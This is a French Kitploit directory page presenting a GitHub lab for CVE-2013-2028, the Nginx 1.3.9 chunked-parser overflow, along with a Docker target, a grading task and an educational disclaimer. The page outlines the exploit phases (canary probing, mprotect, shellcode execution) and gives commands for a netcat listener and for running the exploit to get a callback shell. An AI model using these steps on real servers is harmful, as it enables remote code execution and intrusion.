Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2013-2028-Exploit — Labo basé sur Docker et exploit Python pour CVE-2013-2028, un débordement d'entier dans le parseur chunked de Nginx 1.3.9, couvrant la récupération du canary, mprotect et l'exécution de shellcode. | Kitploit
Outils/GitHubGitHub/vanivamshi/cve-2013-2028-exploit
Analyse des VulnérabilitésExploitationShellcodeVirtualisation de SécuritéTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges UtilesExploitation de BinairesLabs et Pratique
GitHubvanivamshi/cve-2013-2028-exploit

CVE-2013-2028-Exploit

Labo basé sur Docker et exploit Python pour CVE-2013-2028, un débordement d'entier dans le parseur chunked de Nginx 1.3.9, couvrant la récupération du canary, mprotect et l'exécution de shellcode.

Voir le dépôt
il y a 8h 3mPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Exploit CVE-2013-2028

Détails de la vulnérabilité

Logiciel vulnérable : Nginx 1.3.9

Fonction vulnérable : ngx_http_parse_chunked

CVE-2013-2028 est une vulnérabilité de dépassement d'entier dans l'analyseur d'encodage de transfert chunked HTTP de Nginx. Dans les conditions ciblées par cet environnement de laboratoire, la vulnérabilité peut entraîner une corruption de mémoire et peut être utilisée pour influencer le flux de contrôle.

Ce dépôt fournit un environnement isolé basé sur Docker pour étudier la vulnérabilité et reproduire le workflow d'exploitation.

Détails de l'exploitation

L'exploit complet se compose de quatre phases principales :

  1. Récupération du canari de pile

    Récupérer le canari de pile par sondage octet par octet.

  2. Manipulation des protections mémoire

    Calculer les informations d'adresse pertinentes et construire la séquence de flux de contrôle requise pour invoquer mprotect sur la région mémoire contrôlée.

  3. Placement du shellcode

    Copier la charge utile dans la région mémoire contrôlée.

  4. Transfert du flux de contrôle

    Transférer l'exécution vers la région mémoire contrôlée.

L'exploit complet démontre la progression depuis le déclenchement de l'analyseur vulnérable, en passant par la corruption de mémoire et la manipulation du flux de contrôle, jusqu'à l'exécution de code contrôlée.

Prérequis

  • Docker
  • Docker Compose
  • Python 3
  • Les dépendances Python requises par exploit.py
  • netcat pour l'écouteur utilisé par le laboratoire complet

Comment reproduire

1. Démarrer l'écouteur

Sur le système hôte, démarrez un écouteur sur le port configuré :

root@kitploit:~
nc -lvp 4345

Utilisez le même port avec l'argument --listenerport (-lp) lors de l'exécution de l'exploit.

2. Démarrer le conteneur Nginx vulnérable

Construisez et démarrez l'environnement Docker :

root@kitploit:~
sudo docker-compose up --build

La cible vulnérable exécute Nginx 1.3.9 à l'intérieur du conteneur.

Vous pouvez vérifier la version de Nginx avec :

root@kitploit:~
docker-compose exec cve-2013-2028 /usr/local/nginx/sbin/nginx -v

3. Exécuter l'exploit complet

Exécutez :

root@kitploit:~
python3 exploit.py \
    -ra 127.0.0.1 \
    -rp 8081 \
    -la <listener-machine-address> \
    -lp <listener-machine-port>

L'exploit effectue les étapes de récupération du canari et de construction de la charge utile avant d'envoyer la charge utile finale à la cible vulnérable.

Si un canari précédemment récupéré est disponible, il peut être fourni avec :

root@kitploit:~
python3 exploit.py \
    -ra 127.0.0.1 \
    -rp 8081 \
    -la <listener-machine-address> \
    -lp <listener-machine-port> \
    -c '<canary>'

4. Tâche intermédiaire

Le dépôt fournit également une tâche intermédiaire pour évaluer la progression dans le workflow de recherche de vulnérabilité.

Exécutez :

root@kitploit:~
python3 intermediate_task.py \
    -ra 127.0.0.1 \
    -rp 8081 \
    -la <listener-machine-address> \
    -lp <listener-machine-port>

La tâche intermédiaire effectue ses vérifications directement contre la cible Docker en cours d'exécution. Elle ne repose pas sur des fichiers de preuve créés manuellement ni sur des assertions JSON fournies manuellement.

La tâche vérifie deux domaines :

Identification de la vulnérabilité

La tâche :

  • Confirme que le conteneur cible est en cours d'exécution.
  • Détecte la version de Nginx installée.
  • Détermine si la version détectée correspond à la version vulnérable de Nginx utilisée par le laboratoire.

Validation de la configuration

La tâche :

  • Confirme que le conteneur Docker est en cours d'exécution.
  • Confirme que Nginx est en cours d'exécution.
  • Valide la configuration Nginx à l'aide de nginx -t.

La vérification de la configuration établit que la configuration Nginx est syntaxiquement valide. Elle ne doit pas, à elle seule, être interprétée comme la preuve que CVE-2013-2028 a été atténuée.

Exemple de sortie :

root@kitploit:~
============================================================
CVE-2013-2028 INTERMEDIATE TASK
============================================================

Target:
  nginx running:        True
  nginx version:        1.3.9
  vulnerable build:     True

Progress:
  [x] vulnerability_identified
  [x] configuration_validated

All required checks completed.
Exercise complete.

La tâche intermédiaire stocke les résultats de ces vérifications d'exécution dans :

root@kitploit:~
grader_state.json

Ce fichier est utilisé uniquement pour persister l'état produit par les vérifications. Il n'est pas la source de la détermination de la vulnérabilité.

Cible Docker

L'environnement de laboratoire utilise intentionnellement Nginx 1.3.9, une ancienne version de Nginx affectée par CVE-2013-2028.

L'environnement Docker fournit une cible isolée pour la recherche de vulnérabilités et les exercices d'exploitation. Le service vulnérable ne doit être accessible que par les interfaces exposées par la configuration du laboratoire.

Avertissement

Ce dépôt est destiné uniquement à des fins éducatives et de recherche de sécurité autorisée dans un environnement de laboratoire isolé.

N'exécutez pas l'exploit contre des systèmes que vous ne possédez pas ou pour lesquels vous ne disposez pas d'une autorisation explicite de test.

Télécharger l’outil